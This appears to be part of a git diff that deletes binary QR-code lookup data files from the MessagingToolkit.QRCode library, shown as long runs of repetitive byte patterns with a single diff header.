iijjkkllrrqqppooHHIIJJKK88776655effgghhi~~}}|43322110effgghhi~~}}|43322110effgghhi~~}}|43322110effgghhi~~}}|43322110effgghhi~~}}|43322110effgghhi{zzyyssrDEEFFGGH<;;::998bbccddee77665544bbccddee77665544bbccddee77665544bbccddee77665544bbccddee77665544bbccddee~~}}||{{AABBCCDDDDCCBBAAeeffgghh{{zzyyssLLMMNNOO44332211$%%&&''(pqqrrsstuttssrrq)((''&&%$%%&&''(pqqrrsstuttssrrq)((''&&%$%%&&''(pqqrrsstuttssrrq)((''&&%$%%&&''(pqqrrsstuttssrrq)((''&&%$%%&&''(pqqrrsstuttssrrq)((''&&%$%%&&''(pqqrrsstkjjiihhg OPPQQRRS100//..-!!""##$$mmnnooppxxwwvvuu,,++**))!!""##$$mmnnooppxxwwvvuu,,++**))!!""##$$mmnnooppxxwwvvuu,,++**))!!""##$$mmnnooppxxwwvvuu,,++**))!!""##$$mmnnooppxxwwvvuu,,++**))!!""##$$mmnnooppnnmmllkkLLMMNNOO44332211 !ijjkkllm|{{zzyyx0//..--, !ijjkkllm|{{zzyyx0//..--, !ijjkkllm|{{zzyyx0//..--, !ijjkkllm|{{zzyyx0//..--, !ijjkkllm|{{zzyyx0//..--, !ijjkkllmrqqppoonHIIJJKKL87766554ffgghhii~~}}||33221100ffgghhii~~}}||33221100ffgghhii~~}}||33221100ffgghhii~~}}||33221100ffgghhii~~}}||33221100ffgghhiizzyyssrrEEFFGGHH@@??>>== iijjkkllrrqqppooPPQQRRSS00//..--())**++,tuuvvwwxqppoonnm%$$##""!())**++,tuuvvwwxqppoonnm%$$##""!())**++,tuuvvwwxqppoonnm%$$##""!())**++,tuuvvwwxqppoonnm%$$##""!())**++,tuuvvwwxqppoonnm%$$##""!())**++,tuuvvwwxgffeeddc - - STTUUVVW~~}}-,,++**)%%&&''((qqrrssttttssrrqq((''&&%%%%&&''((qqrrssttttssrrqq((''&&%%%%&&''((qqrrssttttssrrqq((''&&%%%%&&''((qqrrssttttssrrqq((''&&%%%%&&''((qqrrssttttssrrqq((''&&%%%%&&''((qqrrssttjjiihhgg PPQQRRSS00//..--!""##$$%mnnooppqxwwvvuut,++**))(!""##$$%mnnooppqxwwvvuut,++**))(!""##$$%mnnooppqxwwvvuut,++**))(!""##$$%mnnooppqxwwvvuut,++**))(!""##$$%mnnooppqxwwvvuut,++**))(!""##$$%mnnooppqnmmllkkjLMMNNOOP43322110 !!jjkkllmm{{zzyyxx//..--,, !!jjkkllmm{{zzyyxx//..--,, !!jjkkllmm{{zzyyxx//..--,, !!jjkkllmm{{zzyyxx//..--,, !!jjkkllmm{{zzyyxx//..--,, !!jjkkllmmqqppoonnIIJJKKLL<<;;::99!!""##$$mmnnooppnnmmllkkTTUUVVWW~~}}|,,++**)),--..//0xyyzz{{|mllkkjji! ,--..//0xyyzz{{|mllkkjji! ,--..//0xyyzz{{|mllkkjji! ,--..//0xyyzz{{|mllkkjji! ,--..//0xyyzz{{|mllkkjji! ,--..//0xyyzz{{|cbbaa``_W]]^^__`||{{zzyy)((''&&%))**++,,uuvvwwxxppoonnmm$$##""!!))**++,,uuvvwwxxppoonnmm$$##""!!))**++,,uuvvwwxxppoonnmm$$##""!!))**++,,uuvvwwxxppoonnmm$$##""!!))**++,,uuvvwwxxppoonnmm$$##""!!))**++,,uuvvwwxxffeeddcc - - TTUUVVWW~~}}|,,++**))%&&''(()qrrssttutssrrqqp(''&&%%$%&&''(()qrrssttutssrrqqp(''&&%%$%&&''(()qrrssttutssrrqqp(''&&%%$%&&''(()qrrssttutssrrqqp(''&&%%$%&&''(()qrrssttutssrrqqp(''&&%%$%&&''(()qrrssttujiihhggf PQQRRSST0//..--,""##$$%%nnooppqqwwvvuutt++**))((""##$$%%nnooppqqwwvvuutt++**))((""##$$%%nnooppqqwwvvuutt++**))((""##$$%%nnooppqqwwvvuutt++**))((""##$$%%nnooppqqwwvvuutt++**))((""##$$%%nnooppqqmmllkkjjMMNNOOPP88776655%%&&''((qqrrssttjjiihhgg ]]^^__``|{{zzyyx((''&&%%01122334|}}~~ihhggffe01122334|}}~~ihhggffe01122334|}}~~ihhggffe01122334|}}~~ihhggffe01122334|}}~~ihhggffe01122334|}}~~_^^]]WWV `aabbccdxwvutssr%$#"! --..//00yyzz{{||llkkjjii --..//00yyzz{{||llkkjjii --..//00yyzz{{||llkkjjii --..//00yyzz{{||llkkjjii --..//00yyzz{{||llkkjjii --..//00yyzz{{||bbaa``__]]^^__``|{{zzyyx((''&&%%)**++,,-uvvwwxxypoonnmml$##""!! )**++,,-uvvwwxxypoonnmml$##""!! )**++,,-uvvwwxxypoonnmml$##""!! )**++,,-uvvwwxxypoonnmml$##""!! )**++,,-uvvwwxxypoonnmml$##""!! )**++,,-uvvwwxxyfeeddccb - - TUUVVWW]~~}}||,++**))(&&''(())rrssttuussrrqqpp''&&%%$$&&''(())rrssttuussrrqqpp''&&%%$$&&''(())rrssttuussrrqqpp''&&%%$$&&''(())rrssttuussrrqqpp''&&%%$$&&''(())rrssttuussrrqqpp''&&%%$$&&''(())rrssttuuiihhggff QQRRSSTT~~}}44332211))**++,,uuvvwwxxffeeddcc - - aabbccddwvutssrr$#"! 45566778eddccbba45566778eddccbba45566778eddccbba45566778eddccbba45566778eddccbba45566778VUUTTSSR - - deeffgghrqqppoon11223344}}~~hhggffee11223344}}~~hhggffee11223344}}~~hhggffee11223344}}~~hhggffee11223344}}~~hhggffee11223344}}~~^^]]WWVV aabbccddwvutssrr$#"! -..//001yzz{{||}lkkjjiih -..//001yzz{{||}lkkjjiih -..//001yzz{{||}lkkjjiih -..//001yzz{{||}lkkjjiih -..//001yzz{{||}lkkjjiih -..//001yzz{{||}baa``__^]^^__``a{{zzyyxw(''&&%%$**++,,--vvwwxxyyoonnmmll##""!! **++,,--vvwwxxyyoonnmmll##""!! **++,,--vvwwxxyyoonnmmll##""!! **++,,--vvwwxxyyoonnmmll##""!! **++,,--vvwwxxyyoonnmmll##""!! **++,,--vvwwxxyyeeddccbb - - UUVVWW]]||{{zzyy00//..----..//00yyzz{{||bbaa``__ - - eeffgghhqqppoonn899::;;>??@]\\[[ZZY <==>>??@]\\[[ZZY <==>>??@]\\[[ZZY <==>>??@]\\[[ZZY <==>>??@]\\[[ZZY <==>>??@NMMLLKKJlmmnnoopjiihhggf99::;;<<``__^^]]99::;;<<``__^^]]99::;;<<``__^^]]99::;;<<``__^^]]99::;;<<``__^^]]99::;;<>??@@\\[[ZZYY ==>>??@@\\[[ZZYY ==>>??@@\\[[ZZYY ==>>??@@\\[[ZZYY ==>>??@@\\[[ZZYY ==>>??@@MMLLKKJJmmnnooppiihhggff9::;;<<=`__^^]]\9::;;<<=`__^^]]\9::;;<<=`__^^]]\9::;;<<=`__^^]]\9::;;<<=`__^^]]\9::;;<<=QPPOONNMijjkkllmmllkkjji66778899ccbbaa``66778899ccbbaa``66778899ccbbaa``66778899ccbbaa``66778899ccbbaa``66778899TTSSRRQQ ffgghhiippoonnmm$$##""!!99::;;<>??@@A\[[ZZYYX =>>??@@A\[[ZZYYX =>>??@@A\[[ZZYYX =>>??@@A\[[ZZYYX =>>??@@A\[[ZZYYX =>>??@@AMLLKKJJImnnooppqihhggffe::;;<<==__^^]]\\::;;<<==__^^]]\\::;;<<==__^^]]\\::;;<<==__^^]]\\::;;<<==__^^]]\\::;;<<==PPOONNMMjjkkllmmllkkjjii ==>>??@@MMLLKKJJzz{{||}}aa``__^^ -HIIJJKKLQPPOONNMHIIJJKKLQPPOONNMHIIJJKKLQPPOONNMHIIJJKKLQPPOONNMHIIJJKKLQPPOONNMHIIJJKKLBAA;;::9%%&}~~^]]\[ZYX - - EEFFGGHHTTSSRRQQEEFFGGHHTTSSRRQQEEFFGGHHTTSSRRQQEEFFGGHHTTSSRRQQEEFFGGHHTTSSRRQQEEFFGGHHEEDDCCBBzz{{||}}aa``__^^ -ABBCCDDEXWWVVUUT - - ABBCCDDEXWWVVUUT - - ABBCCDDEXWWVVUUT - - ABBCCDDEXWWVVUUT - - ABBCCDDEXWWVVUUT - - ABBCCDDEIHHGGFFEqrrssyyzeddccbba>>??@@AA[[ZZYYXX >>??@@AA[[ZZYYXX >>??@@AA[[ZZYYXX >>??@@AA[[ZZYYXX >>??@@AA[[ZZYYXX >>??@@AALLKKJJIInnooppqqhhggffeeAABBCCDDIIHHGGFF%%&&~~]]\[ZYXW - LMMNNOOPMLLKKJJILMMNNOOPMLLKKJJILMMNNOOPMLLKKJJILMMNNOOPMLLKKJJILMMNNOOPMLLKKJJILMMNNOOP98877665&''(())*WWVVUUTTIIJJKKLLPPOONNMMIIJJKKLLPPOONNMMIIJJKKLLPPOONNMMIIJJKKLLPPOONNMMIIJJKKLLPPOONNMMIIJJKKLLAA;;::99%%&&~~]]\[ZYXW - EFFGGHHITSSRRQQPEFFGGHHITSSRRQQPEFFGGHHITSSRRQQPEFFGGHHITSSRRQQPEFFGGHHITSSRRQQPEFFGGHHIEDDCCBBAz{{||}}~a``__^^] - -BBCCDDEEWWVVUUTT - - BBCCDDEEWWVVUUTT - - BBCCDDEEWWVVUUTT - - BBCCDDEEWWVVUUTT - - BBCCDDEEWWVVUUTT - - BBCCDDEEHHGGFFEErrssyyzzddccbbaaEEFFGGHHEEDDCCBB''(())**WVVUUTTSPQQRRSSTIHHGGFFEPQQRRSSTIHHGGFFEPQQRRSSTIHHGGFFEPQQRRSSTIHHGGFFEPQQRRSSTIHHGGFFEPQQRRSST54433221*++,,--.SSRRQQPPMMNNOOPPLLKKJJIIMMNNOOPPLLKKJJIIMMNNOOPPLLKKJJIIMMNNOOPPLLKKJJIIMMNNOOPPLLKKJJIIMMNNOOPP88776655''(())**WVVUUTTSIJJKKLLMPOONNMMLIJJKKLLMPOONNMMLIJJKKLLMPOONNMMLIJJKKLLMPOONNMMLIJJKKLLMPOONNMMLIJJKKLLMA;;::998%%&&'~]\[ZYXWW FFGGHHIISSRRQQPPFFGGHHIISSRRQQPPFFGGHHIISSRRQQPPFFGGHHIISSRRQQPPFFGGHHIISSRRQQPPFFGGHHIIDDCCBBAA{{||}}~~``__^^]]IIJJKKLLAA;;::99++,,--..SRRQQPPO - - TUUVVWWXEDDCCBBA - - TUUVVWWXEDDCCBBA - - TUUVVWWXEDDCCBBA - - TUUVVWWXEDDCCBBA - - TUUVVWWXEDDCCBBA - - TUUVVWWX100//..-.//00112OONNMMLLQQRRSSTTHHGGFFEEQQRRSSTTHHGGFFEEQQRRSSTTHHGGFFEEQQRRSSTTHHGGFFEEQQRRSSTTHHGGFFEEQQRRSSTT44332211++,,--..SRRQQPPOMNNOOPPQLKKJJIIHMNNOOPPQLKKJJIIHMNNOOPPQLKKJJIIHMNNOOPPQLKKJJIIHMNNOOPPQLKKJJIIHMNNOOPPQ87766554'(())**+VVUUTTSSJJKKLLMMOONNMMLLJJKKLLMMOONNMMLLJJKKLLMMOONNMMLLJJKKLLMMOONNMMLLJJKKLLMMOONNMMLLJJKKLLMM;;::9988%%&&''\\[[ZZYY MMNNOOPP88776655//001122ONNMMLLK XYYZZ[[\A@@??>>= XYYZZ[[\A@@??>>= XYYZZ[[\A@@??>>= XYYZZ[[\A@@??>>= XYYZZ[[\A@@??>>= XYYZZ[[\-,,++**)23344556KKJJIIHH - - UUVVWWXXDDCCBBAA - - UUVVWWXXDDCCBBAA - - UUVVWWXXDDCCBBAA - - UUVVWWXXDDCCBBAA - - UUVVWWXXDDCCBBAA - - UUVVWWXX00//..--//001122ONNMMLLK QRRSSTTUHGGFFEED QRRSSTTUHGGFFEED QRRSSTTUHGGFFEED QRRSSTTUHGGFFEED QRRSSTTUHGGFFEED QRRSSTTU43322110+,,--../RRQQPPOONNOOPPQQKKJJIIHHNNOOPPQQKKJJIIHHNNOOPPQQKKJJIIHHNNOOPPQQKKJJIIHHNNOOPPQQKKJJIIHHNNOOPPQQ77665544(())**++XXWWVVUU - - QQRRSSTT4433221133445566KJJIIHHG\]]^^__`=<<;;::9\]]^^__`=<<;;::9\]]^^__`=<<;;::9\]]^^__`=<<;;::9\]]^^__`=<<;;::9\]]^^__`)((''&&%6778899:GGFFEEDD YYZZ[[\\@@??>>== YYZZ[[\\@@??>>== YYZZ[[\\@@??>>== YYZZ[[\\@@??>>== YYZZ[[\\@@??>>== YYZZ[[\\,,++**))33445566KJJIIHHG - - UVVWWXXYDCCBBAA@ - - UVVWWXXYDCCBBAA@ - - UVVWWXXYDCCBBAA@ - - UVVWWXXYDCCBBAA@ - - UVVWWXXYDCCBBAA@ - - UVVWWXXY0//..--,/0011223NNMMLLKK RRSSTTUUGGFFEEDD RRSSTTUUGGFFEEDD RRSSTTUUGGFFEEDD RRSSTTUUGGFFEEDD RRSSTTUUGGFFEEDD RRSSTTUU33221100,,--..//TTSSRRQQ - - UUVVWWXX00//..--778899::GFFEEDDC`aabbccd98877665`aabbccd98877665`aabbccd98877665`aabbccd98877665`aabbccd98877665`aabbccd~~}}|%:;;AABBCCCBBAA@?]]^^__``<<;;::99]]^^__``<<;;::99]]^^__``<<;;::99]]^^__``<<;;::99]]^^__``<<;;::99]]^^__``((''&&%%778899::GFFEEDDC YZZ[[\\]@??>>==< YZZ[[\\]@??>>==< YZZ[[\\]@??>>==< YZZ[[\\]@??>>==< YZZ[[\\]@??>>==< YZZ[[\\],++**))(34455667JJIIHHGG - - VVWWXXYYCCBBAA@@ - - VVWWXXYYCCBBAA@@ - - VVWWXXYYCCBBAA@@ - - VVWWXXYYCCBBAA@@ - - VVWWXXYYCCBBAA@@ - - VVWWXXYY//..--,,00112233PPOONNMM YYZZ[[\\,,++**));;AABBCCCBBAA@?>deeffggh~~}54433221deeffggh~~}54433221deeffggh~~}54433221deeffggh~~}54433221deeffggh~~}54433221deeffggh|{{zzyysCDDEEFFG>=<;;::9aabbccdd88776655aabbccdd88776655aabbccdd88776655aabbccdd88776655aabbccdd88776655aabbccdd~~}}||;;AABBCCCBBAA@?>]^^__``a<;;::998]^^__``a<;;::998]^^__``a<;;::998]^^__``a<;;::998]^^__``a<;;::998]^^__``a(''&&%%78899::;FFEEDDCCZZ[[\\]]??>>==<<ZZ[[\\]]??>>==<<ZZ[[\\]]??>>==<<ZZ[[\\]]??>>==<<ZZ[[\\]]??>>==<<ZZ[[\\]]++**))((44556677~~}}||{++**))((&''(())*rssttuuvsrrqqppo'&&%%$$#&''(())*rssttuuvsrrqqppo'&&%%$$#&''(())*rssttuuvsrrqqppo'&&%%$$#&''(())*rssttuuvsrrqqppo'&&%%$$#&''(())*rssttuuvsrrqqppo'&&%%$$#&''(())*rssttuuvfeeddccb - - -abbccddeihhggffe@AABBCCD{zzyyxwv''&&%%$#*++,,--.vwwxxyyzonnmmllk#""!! *++,,--.vwwxxyyzonnmmllk#""!! *++,,--.vwwxxyyzonnmmllk#""!! *++,,--.vwwxxyyzonnmmllk#""!! *++,,--.vwwxxyyzonnmmllk#""!! *++,,--.vwwxxyyzbaa``__^ - effgghhieddccbbaDEEFFGGHutssrrqq"! .//00112z{{||}}~kjjiihhg.//00112z{{||}}~kjjiihhg.//00112z{{||}}~kjjiihhg.//00112z{{||}}~kjjiihhg.//00112z{{||}}~kjjiihhg.//00112z{{||}}~^]]WWVVUijjkkllma``__^^]HIIJJKKLppoonnmm23344556~gffeeddc23344556~gffeeddc23344556~gffeeddc23344556~gffeeddc23344556~gffeeddc23344556~UTTSSRRQmnnooppq]\\[[ZZY LMMNNOOPllkkjjii6778899:cbbaa``_6778899:cbbaa``_6778899:cbbaa``_6778899:cbbaa``_6778899:cbbaa``_6778899:QPPOONNMqrrssyyzYXXWWVVU - - PQQRRSSThhggffee:;;<<==>_^^]]\\[:;;<<==>_^^]]\\[:;;<<==>_^^]]\\[:;;<<==>_^^]]\\[:;;<<==>_^^]]\\[:;;<<==>MLLKKJJIz{{||}}~UTTSSRRQ - - TUUVVWWXddccbbaa >??@@AAB[ZZYYXXW >??@@AAB[ZZYYXXW >??@@AAB[ZZYYXXW >??@@AAB[ZZYYXXW >??@@AAB[ZZYYXXW >??@@AABIHHGGFFE%%&&'~QPPOONNM XYYZZ[[\``__^^]] - - BCCDDEEFWVVUUTTS - - BCCDDEEFWVVUUTTS - - BCCDDEEFWVVUUTTS - - BCCDDEEFWVVUUTTS - - BCCDDEEFWVVUUTTS - - BCCDDEEFEDDCCBBA'(())**+MLLKKJJI\]]^^__`\[ZYXWWV FGGHHIIJSRRQQPPOFGGHHIIJSRRQQPPOFGGHHIIJSRRQQPPOFGGHHIIJSRRQQPPOFGGHHIIJSRRQQPPOFGGHHIIJA;;::998+,,--../IHHGGFFE`aabbccdVUUTTSSRJKKLLMMNONNMMLLKJKKLLMMNONNMMLLKJKKLLMMNONNMMLLKJKKLLMMNONNMMLLKJKKLLMMNONNMMLLKJKKLLMMN87766554/0011223EDDCCBBAdeeffgghRQQPPOONNOOPPQQRKJJIIHHGNOOPPQQRKJJIIHHGNOOPPQQRKJJIIHHGNOOPPQQRKJJIIHHGNOOPPQQRKJJIIHHGNOOPPQQR4332211034455667A@@??>>= hiijjkklNMMLLKKJ -RSSTTUUVGFFEEDDC -RSSTTUUVGFFEEDDC -RSSTTUUVGFFEEDDC -RSSTTUUVGFFEEDDC -RSSTTUUVGFFEEDDC -RSSTTUUV0//..--,78899::;=<<;;::9 !!""##$lmmnnoopJIIHHGGF - VWWXXYYZCBBAA@@? - VWWXXYYZCBBAA@@? - VWWXXYYZCBBAA@@? - VWWXXYYZCBBAA@@? - VWWXXYYZCBBAA@@? - VWWXXYYZ,++**))(;AABBCCD98877665$%%&&''(pqqrrsstFEEDDCCBZ[[\\]]^?>>==<<;Z[[\\]]^?>>==<<;Z[[\\]]^?>>==<<;Z[[\\]]^?>>==<<;Z[[\\]]^?>>==<<;Z[[\\]]^(''&&%%DEEFFGGH~~}54433221())**++,tuuvvwwxBAA@?>=<^__``aab;::99887^__``aab;::99887^__``aab;::99887^__``aab;::99887^__``aab;::99887^__``aab~~}}||{HIIJJKKL}||{{zzy100//..-,--..//0xyyzz{{|;;::9988bccddeef76655443bccddeef76655443bccddeef76655443bccddeef76655443bccddeef76655443bccddeef{zzyyssrLMMNNOOPyxxwwvvu-,,++**)01122334|}}~~77665544fgghhiij~~}}||{3221100/fgghhiij~~}}||{3221100/fgghhiij~~}}||{3221100/fgghhiij~~}}||{3221100/fgghhiij~~}}||{3221100/fgghhiijrqqppoonPQQRRSSTuttssrrq)((''&&%4556677833221100 !!"jkkllmmn{zzyyxxw/..--,,+ !!"jkkllmmn{zzyyxxw/..--,,+ !!"jkkllmmn{zzyyxxw/..--,,+ !!"jkkllmmn{zzyyxxw/..--,,+ !!"jkkllmmn{zzyyxxw/..--,,+ !!"jkkllmmnnmmllk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AdZ| \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_2.dat deleted file mode 100644 index 4829b31..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_2.dat +++ /dev/null @@ -1,305 +0,0 @@ -}~}~}~}~{|{|{|{|wxwxwxwxtstststspopopoponmnmnmnmjijijijihghghghg}~}~}~}~{|{|{|{|wxwxwxwxtstststspopopoponmnmnmnmjijijijihghghghg}~}~}~}~{|{|{|{|wxwxwxwxtstststspopopoponmnmnmnmjijijijihghghghg}~}~}~}~{|{|{|{|wxwxwxwxtststssspopopoponmnmnmnmjijijijihghghghg}~}~}~}~{zyzyzyzwxwxwxwxssstststpopopoponmnmnmnmjijijijihghghghg}~}~}~}~yzyzyzyzwxwxwxwxststststpopopoponmnmnmnmjijijijihghghghg}~}~}~}~yzyzyzyzwxwxwxwxststststpopopoponmnmnmnmjijijijifefefefe}~}~}~}~yzyzyzyzwxwxwxwxststststpopopoponmnmnmnmjijijijifefefefe}~}~}~}~yzyzyzyzwxwxwxwxststststpopopoponmnmnmnmjijijijifefefefe}~}~}~}~yzyzyzyzwxwxwxwxststststpopopoponmnmnmnmjijijijifefefefe}~}~}~}~yzyzyzyzwxwxwxwxsssssstspopopoponmnmnmnmjijijijifefefefe}~}~}~}~yzyzyzyzwxwxwxwxtstststspopopoponmnmnmnmjijijijifefefefe}~}~}~}~yzyzyzyzwxwxwxwvtstststspopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvtstststspopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvtstststspopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvtstststspopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvtstssssspopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvtstststspopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkjijijijifefefefe}~}~}~}~yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkjijijijifefefefe}|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkjijijijifefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkjijijijifefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopopolklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe{|{|{|{|yxwxwxwxuvuvuvuvrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe{|{|{|{|wxwxwxwxuvuvutstrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefe{|{|{|{|wxwxwxwxststssssrqrqrqrqnmnmnmnmlklklklkhghghghgdcdcdcdc{|{|{|{|wxwxwxwxsstststsrqrqrqrqnmnmnmnmlklklklkhghghghgdcdcdcdc{|{|{|{|wxwxwxwxtstststsrqrqrqrqnmnmnmnmlklklklkhghghghgdcdcdcdc{|{|{|{|wxwxwxwxtstststsrqrqrqrqnmnmnmnmlklklklkhghghghgdcdcdcdc~}~}~}~{|{|{|{|wxwxwxwxtstststsrqrqrqrqnmnmnmnmlklklklkhghghghgdcdcdcdc}~}~}~}~{|{|{|{|wxwxwxwxtstststsrqrqrqrqnmnmnmnmlklklklkhghghghgdcdcdcdc}~}~}~}~{|{|{|{|wxwxwxwxtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc}~}~}~}~{|{|{|{|wxwxwxwxssssststrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc}~}~}~}~{|{|{|{|wxwxwxwxststststrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc}~}~}~}~{|{|{|{|wxwxwxwxststststrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc}~}~}~}~{|{|{|{|wxwxwxwxststststrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc}~}~}~}~{|{|{|{|wxwxwxwxststststrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdc}~}~}~}~{|{|{|{|wxwxwxwxststststpopopoponmnmnmnmjijijijihghghghgdcdcdcdc}~}~}~}~{|{|{|{|wxwxwxwxstsssssspopopoponmnmnmnmjijijijihghghghgdcdcdcdc}~}~}~}~{|{|{|{|wxwxwxwxtstststspopopoponmnmnmnmjijijijihghghghgdcdcdcdc}~}~}~}~{|{|{|{|wxwxwxwxtstststspopopoponmnmnmnmjijijijihghghghgdcdcdcdcdcdcdcdcdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPMNMNMNMLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<:9:9:98765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!  dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;;;;;;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)('&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCB?@?@?@?@<;<;;;;;8787878765656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFABABABAB?@?@?@?@;<;<;<;<8787878765656565212121210/0/0/.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFABABABAB?@?@?@?@;<;<;<;<878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     